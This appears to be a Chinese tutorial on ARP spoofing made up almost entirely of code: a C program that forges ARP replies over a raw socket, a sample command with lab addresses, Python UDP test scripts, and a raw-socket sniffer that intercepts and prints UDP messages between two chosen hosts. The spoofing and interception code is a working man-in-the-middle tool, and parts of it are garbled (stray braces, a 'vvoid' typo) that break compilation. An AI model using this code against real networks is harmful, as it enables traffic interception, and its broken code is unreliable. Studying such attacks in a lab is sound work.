ARP 原理、攻击与欺骗

//Filename: send_arp.c
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <net/if.h>// struct ifreq
#include <sys/ioctl.h> // ioctl、SIOCGIFADDR
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#include <netpacket/packet.h> // struct sockaddr_l


#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

struct arp_packet {
        u_char targ_hw_addr[ETH_HW_ADDR_LEN];
        u_char src_hw_addr[ETH_HW_ADDR_LEN];
        u_short frame_type;
        u_short hw_type;
        u_short prot_type;
        u_char hw_addr_size;
        u_char prot_addr_size;
        u_short op;
        u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
        u_char sndr_ip_addr[IP_ADDR_LEN];
        u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
        u_char rcpt_ip_addr[IP_ADDR_LEN];
        u_char padding[18];
};

void die(char*);
void get_ip_addr(struct in_addr*, char*);
void get_hw_addr(char*, char*);

int main(int argc, char** argv)
{
    struct in_addr src_in_addr,targ_in_addr;
    struct arp_packet pkt;
    struct sockaddr_ll sa;
    struct ifreq req;
    int sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock < 0) {
        printf("Initial raw socket failed");
        return -1;
    }else
        printf("%d\n", sock);

    pkt.frame_type = htons(ARP_FRAME_TYPE);
    pkt.hw_type = htons(ETHER_HW_TYPE);
    pkt.prot_type = htons(IP_PROTO_TYPE);
    pkt.hw_addr_size = ETH_HW_ADDR_LEN;
    pkt.prot_addr_size = IP_ADDR_LEN;
    pkt.op=htons(OP_ARP_REQUEST);

    get_hw_addr(pkt.targ_hw_addr,argv[4]);
    get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
    get_hw_addr(pkt.src_hw_addr,argv[2]);
    get_hw_addr(pkt.sndr_hw_addr,argv[2]);

    get_ip_addr(&src_in_addr,argv[1]);
    get_ip_addr(&targ_in_addr,argv[3]);

    memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
    memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

    bzero(pkt.padding,18);

    strncpy(req.ifr_name, DEFAULT_DEVICE, IFNAMSIZ); //指定网卡名称
    if(-1 == ioctl(sock, SIOCGIFINDEX, &req))  //获取网络接口
    {
        perror("ioctl");    
        close(sock); 
        exit(-1);
    }

    /*将网络接口赋值给原始套接字地址结构*/
    bzero(&sa, sizeof(sa));
    sa.sll_ifindex = req.ifr_ifindex;

    int res = sendto(sock, &pkt, sizeof(pkt), 0, (struct sockaddr *)&sa, sizeof(sa));
    printf("res: %d\n", res);
    if(res < 0){
        perror("sendto");
        exit(1);
    }
    exit(0);
}

void die(char* str){
    fprintf(stderr,"%s\n",str);
    exit(1);
}


}

vvoid get_ip_addr(struct in_addr* in_addr,char* str){

    struct hostent *hostp;

    in_addr->s_addr=inet_addr(str);
    if(in_addr->s_addr == -1){
        if( (hostp = gethostbyname(str)))
            bcopy(hostp->h_addr,in_addr,hostp->h_length);
        else {
            fprintf(stderr,"send_arp: unknown host %s\n",str);
            exit(1);
        }
    }
    }
}

void get_hw_addr(char* buf,char* str){
    int i;
    char c,val;

    for(i=0;i<ETH_HW_ADDR_LEN;i++){
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf = val << 4;
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf++ |= val;

        if(*str == ':')str++;
    }
}

./send_arp.out 192.168.133.140 00:0C:29:80:44:D4 192.168.133.1 00:50:56:C0:00:08

#我的 Windows 系统上安装的是 Python3，所以这个 UDP 的客户端是用 Python3 写的

import socket

address = ('192.168.133.140', 31500)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = input()
s.sendto(msg.encode('utf-8'), address)
s.close()

#!/usr/bin/python
#这个是在 CentOS 上运行的，CentOS默认安装了 Python2，没有安装 Python3（我懒得安装了），所以就用 Python2 写了这个 UDP 服务端

import socket

address = ('', 31500)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(address)

while True:
    data, addr = s.recvfrom(2048)
    if not data:
        print "client has exist"
        break
    print "received:", data, "from", addr
s.close()

//Filename: recv.c
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netinet/ether.h>
 
#define IP_ADDR_LEN 4

unsigned char src_ip_addr[IP_ADDR_LEN] = {192, 168, 133, 1};
unsigned char dst_ip_addr[IP_ADDR_LEN] = {192, 168, 133, 140};

void print_ip_addr(char*);
int ipcmp(char*, char*);
int main(int argc,char *argv[])
{
    unsigned char buf[1024] = {0};
    //初始化原始套接字
    int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    printf("sock_fd: %d\n", sock_raw_fd); 
    if (sock_raw_fd < 0)
        return -1;
    //获取链路层的数据包
    while(1){
        int len = recvfrom(sock_raw_fd, buf, sizeof(buf), 0, NULL, NULL);
        if (len == -1)
            break;
        //如果第 24 个字节是 0x11，说明是 UDP 报文
        if (len >= 24 && buf[23] == 0x11){
            //获取报文中的源 IP 地址和目标 IP 地址。与我们要拦截的 IP 地址进行对比
            if (ipcmp(buf+26, src_ip_addr) == 0 && ipcmp(buf+30, dst_ip_addr) == 0){
                printf("Length = %d\n", len);
                printf("Received:\n");
                int i = 0;
                while (len > i){
                    printf("%x ", buf[i]);
                    if (i % 8 == 7) printf("  ");
                    if (i % 16 == 15) printf("\n");
                    i++;
                }
                printf("\n");
                printf("Source: ");
                print_ip_addr(buf+26);
                printf("Destination: ");
                print_ip_addr(buf+30);
                printf("UDP data: ");
                //打印消息体
                i = 42;
                while (len > i){
                    printf("%c", buf[i]);
                    i++;
                }
                printf("\n\n");
            }
        }
    }
    return 0;
}

void print_ip_addr(char* buf){
    int i = 0;
    for (i = 0; i < IP_ADDR_LEN; ++i) {
        printf("%d", buf[i] & 0x000000ff);
        if (i+1 != IP_ADDR_LEN){
            printf(".");
        } else {
            printf("\n");
        }
    }
}

int ipcmp(char* buf, char* ip_addr){
    int i = 0;
    for (i = 0; i < IP_ADDR_LEN; ++i) {
        if (buf[i] != ip_addr[i]){
            return -1;
        }
    }
    return 0;
}